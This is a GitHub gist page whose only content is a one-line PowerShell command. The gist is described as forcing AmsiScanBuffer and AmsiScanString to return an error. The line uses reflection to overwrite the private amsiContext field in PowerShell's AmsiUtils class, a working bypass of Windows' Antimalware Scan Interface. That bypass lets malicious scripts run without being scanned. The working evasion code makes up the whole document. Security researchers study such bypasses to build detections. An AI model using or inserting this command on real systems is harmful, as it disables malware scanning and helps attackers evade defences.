Skip to content

Instantly share code, notes, and snippets.

@mattifestation
Created July 17, 2017 22:54
Show Gist options
  • Save mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1 to your computer and use it in GitHub Desktop.
Save mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1 to your computer and use it in GitHub Desktop.
Compels AmsiScanBuffer/AmsiScanString to return E_INVALIDARG
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment